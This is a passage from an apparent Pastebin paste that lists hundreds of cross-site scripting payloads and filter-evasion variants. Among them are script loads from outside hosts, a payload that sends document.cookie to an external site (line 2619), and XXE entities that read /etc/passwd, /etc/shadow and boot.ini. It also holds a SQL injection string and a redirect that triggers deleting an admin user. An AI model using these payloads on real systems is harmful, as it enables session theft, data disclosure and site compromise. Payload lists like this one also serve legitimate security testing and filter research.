  2410. <;SCRIPT>;alert(String.fromCharCode(88,83,83))<;/SCRIPT>;
  2411. <;BASE HREF=";javascript:alert(';XSS';);//";>;
  2412. <;BGSOUND SRC=";javascript:alert(';XSS';);";>;
  2413. <;BODY BACKGROUND=";javascript:alert(';XSS';);";>;
  2414. <;BODY ONLOAD=alert(';XSS';)>;
  2415. <;DIV STYLE=";background-image: url(javascript:alert(';XSS';))";>;
  2416. <;DIV STYLE=";background-image: url(&;#1;javascript:alert(';XSS';))";>;
  2417. <;DIV STYLE=";width: expression(alert(';XSS';));";>;
  2418. <;FRAMESET>;<;FRAME SRC=";javascript:alert(';XSS';);";>;<;/FRAMESET>;
  2419. <;IFRAME SRC=";javascript:alert(';XSS';);";>;<;/IFRAME>;
  2420. <;INPUT TYPE=";IMAGE"; SRC=";javascript:alert(';XSS';);";>;
  2421. <;IMG SRC=";javascript:alert(';XSS';);";>;
  2422. <;IMG SRC=javascript:alert(';XSS';)>;
  2423. <;IMG DYNSRC=";javascript:alert(';XSS';);";>;
  2424. <;IMG LOWSRC=";javascript:alert(';XSS';);";>;
  2425. <;IMG SRC=";http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode";>;
  2426. Redirect 302 /a.jpg http://victimsite.com/admin.asp&;deleteuser
  2427. exp/*<;XSS STYLE=';no\xss:noxss(";*//*";);
  2428. <;STYLE>;li {list-style-image: url(";javascript:alert(&#39;XSS&#39;)";);}<;/STYLE>;<;UL>;<;LI>;XSS
  2429. <;IMG SRC=';vbscript:msgbox(";XSS";)';>;
  2430. <;LAYER SRC=";http://ha.ckers.org/scriptlet.html";>;<;/LAYER>;
  2431. <;IMG SRC=";livescript:[code]";>;
  2432. %BCscript%BEalert(%A2XSS%A2)%BC/script%BE
  2433. <;META HTTP-EQUIV=";refresh"; CONTENT=";0;url=javascript:alert(';XSS';);";>;
  2434. <;META HTTP-EQUIV=";refresh"; CONTENT=";0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K";>;
  2435. <;META HTTP-EQUIV=";refresh"; CONTENT=";0; URL=http://;URL=javascript:alert(';XSS';);";>;
  2436. <;IMG SRC=";mocha:[code]";>;
  2437. <;OBJECT TYPE=";text/x-scriptlet"; DATA=";http://ha.ckers.org/scriptlet.html";>;<;/OBJECT>;
  2438. <;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389>;<;param name=url value=javascript:alert(';XSS';)>;<;/OBJECT>;
  2439. <;EMBED SRC=";http://ha.ckers.org/xss.swf"; AllowScriptAccess=";always";>;<;/EMBED>;
  2440. a=";get";;&;#10;b=";URL(";";;&;#10;c=";javascript:";;&;#10;d=";alert(';XSS';);";)";;&#10;eval(a+b+c+d);
  2441. <;STYLE TYPE=";text/javascript";>;alert(';XSS';);<;/STYLE>;
  2442. <;IMG STYLE=";xss:expr/*XSS*/ession(alert(';XSS';))";>;
  2443. <;XSS STYLE=";xss:expression(alert(';XSS';))";>;
  2444. <;STYLE>;.XSS{background-image:url(";javascript:alert(';XSS';)";);}<;/STYLE>;<;A CLASS=XSS>;<;/A>;
  2445. <;STYLE type=";text/css";>;BODY{background:url(";javascript:alert(';XSS';)";)}<;/STYLE>;
  2446. <;LINK REL=";stylesheet"; HREF=";javascript:alert(';XSS';);";>;
  2447. <;LINK REL=";stylesheet"; HREF=";http://ha.ckers.org/xss.css";>;
  2448. <;STYLE>;@import';http://ha.ckers.org/xss.css';;<;/STYLE>;
  2449. <;META HTTP-EQUIV=";Link"; Content=";<;http://ha.ckers.org/xss.css>;; REL=stylesheet";>;
  2450. <;STYLE>;BODY{-moz-binding:url(";http://ha.ckers.org/xssmoz.xml#xss";)}<;/STYLE>;
  2451. <;TABLE BACKGROUND=";javascript:alert(';XSS';)";>;<;/TABLE>;
  2452. <;TABLE>;<;TD BACKGROUND=";javascript:alert(';XSS';)";>;<;/TD>;<;/TABLE>;
  2453. <;HTML xmlns:xss>;
  2454. <;XML ID=I>;<;X>;<;C>;<;![CDATA[<;IMG SRC=";javas]]>;<;![CDATA[cript:alert(';XSS';);";>;]]>;
  2455. <;XML ID=";xss";>;<;I>;<;B>;<;IMG SRC=";javas<;!-- -->;cript:alert(';XSS';)";>;<;/B>;<;/I>;<;/XML>;
  2456. <;XML SRC=";http://ha.ckers.org/xsstest.xml"; ID=I>;<;/XML>;
  2457. <;HTML>;<;BODY>;
  2458. <;!--[if gte IE 4]>;          
  2459. <;META HTTP-EQUIV=";Set-Cookie"; Content=";USERID=<;SCRIPT>;alert(';XSS';)<;/SCRIPT>;";>;
  2460. <;XSS STYLE=";behavior: url(http://ha.ckers.org/xss.htc);";>;
  2461. <;SCRIPT SRC=";http://ha.ckers.org/xss.jpg";>;<;/SCRIPT>;
  2462. <;!--#exec cmd=";/bin/echo ';<;SCRIPT SRC';";-->;<;!--#exec cmd=";/bin/echo ';=http://ha.ckers.org/xss.js>;<;/SCRIPT>;';";-->;
  2463. <;? echo(';<;SCR)';;
  2464. <;BR SIZE=";&;{alert(';XSS';)}";>;
  2465. <;IMG SRC=JaVaScRiPt:alert(';XSS';)>;
  2466. <;IMG SRC=javascript:alert(&;quot;XSS&;quot;)>;
  2467. <;IMG SRC=`javascript:alert(";RSnake says, ';XSS';";)`>;
  2468. <;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>;
  2469. <;IMG RC=&;#106;&;#97;&;#118;&;#97;&;#115;&;#99;&;#114;&;#105;&;#112;&;#116;&;#58;&;#97;&;#108;&;#101;&;#114;&;#116;&;#40;&;#39;&;#88;&;#83;&;#83;&;#39;&;#41;>;
  2470. <;IMG RC=&;#0000106&;#0000097&;#0000118&;#0000097&;#0000115&;#0000099&;#0000114&;#0000105&;#0000112&;#0000116&;#0000058&;#0000097&;#0000108&;#0000101&;#0000114&;#0000116&;#0000040&;#0000039&;#0000088&;#0000083&;#0000083&;#0000039&;#0000041>;
  2471. <;DIV STYLE=";background-image:\0075\0072\006C\0028';\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.10530053\0027\0029';\0029";>;
  2472. <;IMG SRC=&;#x6A&;#x61&;#x76&;#x61&;#x73&;#x63&;#x72&;#x69&;#x70&;#x74&;#x3A&;#x61&;#x6C&;#x65&;#x72&;#x74&;#x28&;#x27&;#x58&;#x53&;#x53&;#x27&;#x29>;
  2473. <;HEAD>;<;META HTTP-EQUIV=";CONTENT-TYPE"; CONTENT=";text/html; charset=UTF-7";>; <;/HEAD>;+ADw-SCRIPT+AD4-alert(';XSS';);+ADw-/SCRIPT+AD4-
  2474. \";;alert(';XSS';);//
  2475. <;/TITLE>;<;SCRIPT>;alert("XSS");<;/SCRIPT>;
  2476. <;STYLE>;@im\port';\ja\vasc\ript:alert(";XSS";)';;<;/STYLE>;
  2477. <;IMG SRC=";jav&#x09;ascript:alert(';XSS';);";>;
  2478. <;IMG SRC=";jav&;#x09;ascript:alert(';XSS';);";>;
  2479. <;IMG SRC=";jav&;#x0A;ascript:alert(';XSS';);";>;
  2480. <;IMG SRC=";jav&;#x0D;ascript:alert(';XSS';);";>;
  2481. <;IMG&#x0D;SRC&#x0D;=&#x0D;";&#x0D;j&#x0D;a&#x0D;v&#x0D;a&#x0D;s&#x0D;c&#x0D;r&#x0D;i&#x0D;p&#x0D;t&#x0D;:&#x0D;a&#x0D;l&#x0D;e&#x0D;r&#x0D;t&#x0D;&#x0D;';&#x0D;X&#x0D;S&#x0D;S&#x0D;';&#x0D;)&#x0D;";&#x0D;>;&#x0D;
  2482. perl -e ';print ";<;IM SRC=java\0script:alert(";XSS";)>";;';>; out
  2483. perl -e ';print ";&;<;SCR\0IPT>;alert(";XSS";)<;/SCR\0IPT>;";;'; >; out
  2484. <;IMG SRC="; &;#14;  javascript:alert(';XSS';);";>;
  2485. <;SCRIPT/XSS SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>;
  2486. <;BODY onload!#$%&;()*~+-_.,:;?@[/|\]^`=alert(";XSS";)>;
  2487. <;SCRIPT SRC=http://ha.ckers.org/xss.js
  2488. <;SCRIPT SRC=//ha.ckers.org/.j>;
  2489. <;IMG SRC=";javascript:alert(';XSS';)";
  2490. <;IFRAME SRC=http://ha.ckers.org/scriptlet.html <;
  2491. <;<;SCRIPT>;alert(";XSS";);//<;<;/SCRIPT>;
  2492. <;IMG ";";";>;<;SCRIPT>;alert(";XSS";)<;/SCRIPT>;";>;
  2493. <;SCRIPT>;a=/XSS/
  2494. <;SCRIPT a=";>;"; SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>;
  2495. <;SCRIPT =";blah"; SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>;
  2496. <;SCRIPT a=";blah"; ';'; SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>;
  2497. <;SCRIPT ";a=';>;';"; SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>;
  2498. <;SCRIPT a=`>;` SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>;
  2499. <;SCRIPT>;document.write(";<;SCRI";);<;/SCRIPT>;PT SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>;
  2500. <;SCRIPT a=";>';>"; SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>;
  2501. <;A HREF=";http://66.102.7.147/";>;XSS<;/A>;
  2502. <;A HREF=";http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D";>;XSS<;/A>;
  2503. <;A HREF=";http://1113982867/";>;XSS<;/A>;
  2504. <;A HREF=";http://0x42.0x0000066.0x7.0x93/";>;XSS<;/A>;
  2505. <;A HREF=";http://0102.0146.0007.00000223/";>;XSS<;/A>;
  2506. <;A HREF=";h&#x0A;tt&#09;p://6&;#09;6.000146.0x7.147/";>;XSS<;/A>;
  2507. <;A HREF=";//www.google.com/";>;XSS<;/A>;
  2508. <;A HREF=";//google";>;XSS<;/A>;
  2509. <;A HREF=";http://ha.ckers.org@google";>;XSS<;/A>;
  2510. <;A HREF=";http://google:ha.ckers.org";>;XSS<;/A>;
  2511. <;A HREF=";http://google.com/";>;XSS<;/A>;
  2512. <;A HREF=";http://www.google.com./";>;XSS<;/A>;
  2513. <;A HREF=";javascript:document.location=';http://www.google.com/';";>;XSS<;/A>;
  2514. <;A HREF=";http://www.gohttp://www.google.com/ogle.com/";>;XSS<;/A>;
  2515. <script>document.vulnerable=true;</script>
  2516. <img SRC="jav ascript:document.vulnerable=true;">
  2517. <img SRC="javascript:document.vulnerable=true;">
  2518. <img SRC=" &#14; javascript:document.vulnerable=true;">
  2519. <body onload!#$%&()*~+-_.,:;?@[/|\]^`=document.vulnerable=true;>
  2520. <<SCRIPT>document.vulnerable=true;//<</SCRIPT>
  2521. <script <B>document.vulnerable=true;</script>
  2522. <img SRC="javascript:document.vulnerable=true;"
  2523. <iframe src="javascript:document.vulnerable=true; <
  2524. <script>a=/XSS/\ndocument.vulnerable=true;</script>
  2525. \";document.vulnerable=true;;//
  2526. </title><SCRIPT>document.vulnerable=true;</script>
  2527. <input TYPE="IMAGE" SRC="javascript:document.vulnerable=true;">
  2528. <body BACKGROUND="javascript:document.vulnerable=true;">
  2529. <body ONLOAD=document.vulnerable=true;>
  2530. <img DYNSRC="javascript:document.vulnerable=true;">
  2531. <img LOWSRC="javascript:document.vulnerable=true;">
  2532. <bgsound SRC="javascript:document.vulnerable=true;">
  2533. <br SIZE="&{document.vulnerable=true}">
  2534. <LAYER SRC="javascript:document.vulnerable=true;"></LAYER>
  2535. <link REL="stylesheet" HREF="javascript:document.vulnerable=true;">
  2536. <style>li {list-style-image: url("javascript:document.vulnerable=true;");</STYLE><UL><LI>XSS
  2537. <img SRC='vbscript:document.vulnerable=true;'>
  2538. 1script3document.vulnerable=true;1/script3
  2539. <meta HTTP-EQUIV="refresh" CONTENT="0;url=javascript:document.vulnerable=true;">
  2540. <meta HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:document.vulnerable=true;">
  2541. <IFRAME SRC="javascript:document.vulnerable=true;"></iframe>
  2542. <FRAMESET><FRAME SRC="javascript:document.vulnerable=true;"></frameset>
  2543. <table BACKGROUND="javascript:document.vulnerable=true;">
  2544. <table><TD BACKGROUND="javascript:document.vulnerable=true;">
  2545. <div STYLE="background-image: url(javascript:document.vulnerable=true;)">
  2546. <div STYLE="background-image: url(&#1;javascript:document.vulnerable=true;)">
  2547. <div STYLE="width: expression(document.vulnerable=true);">
  2548. <style>@im\port'\ja\vasc\ript:document.vulnerable=true';</style>
  2549. <img STYLE="xss:expr/*XSS*/ession(document.vulnerable=true)">
  2550. <XSS STYLE="xss:expression(document.vulnerable=true)">
  2551. exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(document.vulnerable=true)'>
  2552. <style TYPE="text/javascript">document.vulnerable=true;</style>
  2553. <style>.XSS{background-image:url("javascript:document.vulnerable=true");}</STYLE><A CLASS=XSS></a>
  2554. <style type="text/css">BODY{background:url("javascript:document.vulnerable=true")}</style>
  2555. <!--[if gte IE 4]><SCRIPT>document.vulnerable=true;</SCRIPT><![endif]-->
  2556. <base HREF="javascript:document.vulnerable=true;//">
  2557. <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:document.vulnerable=true></object>
  2558. <XML ID=I><X><C><![<IMG SRC="javas]]<![cript:document.vulnerable=true;">]]</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></span>
  2559. <XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:document.vulnerable=true"></B></I></XML><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></span>
  2560. <html><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>document.vulnerable=true</SCRIPT>"></BODY></html>
  2561. <? echo('<SCR)';echo('IPT>document.vulnerable=true</SCRIPT>'); ?>
  2562. <meta HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>document.vulnerable=true</SCRIPT>">
  2563. <head><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-document.vulnerable=true;+ADw-/SCRIPT+AD4-
  2564. <a href="javascript#document.vulnerable=true;">
  2565. <div onmouseover="document.vulnerable=true;">
  2566. <img src="javascript:document.vulnerable=true;">
  2567. <img dynsrc="javascript:document.vulnerable=true;">
  2568. <input type="image" dynsrc="javascript:document.vulnerable=true;">
  2569. <bgsound src="javascript:document.vulnerable=true;">
  2570. &<script>document.vulnerable=true;</script>
  2571. &{document.vulnerable=true;};
  2572. <img src=&{document.vulnerable=true;};>
  2573. <link rel="stylesheet" href="javascript:document.vulnerable=true;">
  2574. <iframe src="vbscript:document.vulnerable=true;">
  2575. <img src="mocha:document.vulnerable=true;">
  2576. <img src="livescript:document.vulnerable=true;">
  2577. <a href="about:<script>document.vulnerable=true;</script>">
  2578. <meta http-equiv="refresh" content="0;url=javascript:document.vulnerable=true;">
  2579. <body onload="document.vulnerable=true;">
  2580. <div style="background-image: url(javascript:document.vulnerable=true;);">
  2581. <div style="behaviour: url([link to code]);">
  2582. <div style="binding: url([link to code]);">
  2583. <div style="width: expression(document.vulnerable=true;);">
  2584. <style type="text/javascript">document.vulnerable=true;</style>
  2585. <object classid="clsid:..." codebase="javascript:document.vulnerable=true;">
  2586. <style><!--</style><script>document.vulnerable=true;//--></script>
  2587. <<script>document.vulnerable=true;</script>
  2588. <![<!--]]<script>document.vulnerable=true;//--></script>
  2589. <!-- -- --><script>document.vulnerable=true;</script><!-- -- -->
  2590. <img src="blah"onmouseover="document.vulnerable=true;">
  2591. <img src="blah>" onmouseover="document.vulnerable=true;">
  2592. <xml src="javascript:document.vulnerable=true;">
  2593. <xml id="X"><a><b><script>document.vulnerable=true;</script>;</b></a></xml>
  2594. <div datafld="b" dataformatas="html" datasrc="#X"></div>
  2595. [\xC0][\xBC]script>document.vulnerable=true;[\xC0][\xBC]/script>
  2596. <style>@import'http://www.securitycompass.com/xss.css';</style>
  2597. <meta HTTP-EQUIV="Link" Content="<http://www.securitycompass.com/xss.css>; REL=stylesheet">
  2598. <style>BODY{-moz-binding:url("http://www.securitycompass.com/xssmoz.xml#xss")}</style>
  2599. <OBJECT TYPE="text/x-scriptlet" DATA="http://www.securitycompass.com/scriptlet.html"></object>
  2600. <HTML xmlns:xss><?import namespace="xss" implementation="http://www.securitycompass.com/xss.htc"><xss:xss>XSS</xss:xss></html>
  2601. <script SRC="http://www.securitycompass.com/xss.jpg"></script>
  2602. <!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://www.securitycompass.com/xss.js></SCRIPT>'"-->
  2603. <script a=">" SRC="http://www.securitycompass.com/xss.js"></script>
  2604. <script =">" SRC="http://www.securitycompass.com/xss.js"></script>
  2605. <script a=">" '' SRC="http://www.securitycompass.com/xss.js"></script>
  2606. <script "a='>'" SRC="http://www.securitycompass.com/xss.js"></script>
  2607. <script a=`>` SRC="http://www.securitycompass.com/xss.js"></script>
  2608. <script a=">'>" SRC="http://www.securitycompass.com/xss.js"></script>
  2609. <script>document.write("<SCRI");</SCRIPT>PT SRC="http://www.securitycompass.com/xss.js"></script>
  2610. <div style="binding: url(http://www.securitycompass.com/xss.js);"> [Mozilla]
  2611. ";>;<;BODY onload!#$%&;()*~+-_.,:;?@[/|\]^`=alert(";XSS";)>;
  2612. <;/script>;<;script>;alert(1)<;/script>;
  2613. <;/br style=a:expression(alert())>;
  2614. <;scrscriptipt>;alert(1)<;/scrscriptipt>;
  2615. <;br size=\";&;{alert(&#039;XSS&#039;)}\";>;
  2616. perl -e &#039;print \";<;IMG SRC=java\0script:alert(\";XSS\";)>;\";;&#039; >; out
  2617. perl -e &#039;print \";<;SCR\0IPT>;alert(\";XSS\";)<;/SCR\0IPT>;\";;&#039; >; out
  2618. <~/XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>
  2619. <~/XSS/*-*/STYLE=xss:e/**/xpression(window.location="http://www.procheckup.com/?sid="%2bdocument.cookie)>
  2620. <~/XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>
  2621. <~/XSS STYLE=xss:expression(alert('XSS'))>
  2622. "><script>alert('XSS')</script>
  2623. </XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>
  2624. XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>
  2625. XSS STYLE=xss:e/**/xpression(alert('XSS'))>
  2626. </XSS STYLE=xss:expression(alert('XSS'))>
  2627. >"><script>alert("XSS")</script>&
  2628. "><STYLE>@import"javascript:alert('XSS')";</STYLE>
  2629. >"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;%26%23x20;XSS%26%23x20;Test%26%23x20;Successful%26quot;)>
  2630. >%22%27><img%20src%3d%22javascript:alert(%27%20XSS%27)%22>
  2631. '%uff1cscript%uff1ealert('XSS')%uff1c/script%uff1e'
  2632. '';!--"<XSS>=&{()}
  2633. <IMG SRC="javascript:alert('XSS');">
  2634. <IMG SRC=javascript:alert('XSS')>
  2635. <IMG SRC=JaVaScRiPt:alert('XSS')>
  2636. <IMG SRC=JaVaScRiPt:alert(&quot;XSS<WBR>&quot;)>
  2637. <IMGSRC=&#106;&#97;&#118;&#97;&<WBR>#115;&#99;&#114;&#105;&#112;&<WBR>#116;&#58;&#97;&#108;&#101;&<WBR>#114;&#116;&#40;&#39;&#88;&#83<WBR>;&#83;&#39;&#41>
  2638. <IMGSRC=&#0000106&#0000097&<WBR>#0000118&#0000097&#0000115&<WBR>#0000099&#0000114&#0000105&<WBR>#0000112&#0000116&#0000058&<WBR>#0000097&#0000108&#0000101&<WBR>#0000114&#0000116&#0000040&<WBR>#0000039&#0000088&#0000083&<WBR>#0000083&#0000039&#0000041>    
  2639. <IMGSRC=&#x6A&#x61&#x76&#x61&#x73&<WBR>#x63&#x72&#x69&#x70&#x74&#x3A&<WBR>#x61&#x6C&#x65&#x72&#x74&#x28&<WBR>#x27&#x58&#x53&#x53&#x27&#x29>
  2640. <IMG SRC="jav&#x0A;ascript:alert(<WBR>'XSS');">
  2641. <IMG SRC="jav&#x0D;ascript:alert(<WBR>'XSS');">
  2642. <![CDATA[<script>var n=0;while(true){n++;}</script>]]>
  2643. <?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('gotcha');<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo>
  2644. <?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[' or 1=1 or ''=']]></foof>
  2645. <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file://c:/boot.ini">]><foo>&xee;</foo>
  2646. <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xee;</foo>
  2647. <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/shadow">]><foo>&xee;</foo>
  2648. <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///dev/random">]><foo>&xee;</foo>
  2649. <script>alert('XSS')</script>
  2650. %3cscript%3ealert('XSS')%3c/script%3e
  2651. %22%3e%3cscript%3ealert('XSS')%3c/script%3e
  2652. <IMG SRC="javascript:alert('XSS');">
  2653. <IMG SRC=javascript:alert(&quot;XSS&quot;)>
  2654. <IMG SRC=javascript:alert('XSS')>      
  2655. <img src=xss onerror=alert(1)>
  2656. <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
  2657. <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
  2658. <IMG SRC="jav ascript:alert('XSS');">
  2659. <IMG SRC="jav&#x09;ascript:alert('XSS');">
  2660. <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
  2661. <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
  2662. <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
  2663. <BODY BACKGROUND="javascript:alert('XSS')">
  2664. <BODY ONLOAD=alert('XSS')>
  2665. <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
  2666. <IMG SRC="javascript:alert('XSS')"
  2667. <iframe src=http://ha.ckers.org/scriptlet.html <
  2668. <<SCRIPT>alert("XSS");//<</SCRIPT>
  2669. %253cscript%253ealert(1)%253c/script%253e
  2670. "><s"%2b"cript>alert(document.cookie)</script>
  2671. foo<script>alert(1)</script>
  2672. <scr<script>ipt>alert(1)</scr</script>ipt>
  2673. <SCRIPT>String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41)</SCRIPT>
  2674. ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
  2675. <marquee onstart='javascript:alert('1');'>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!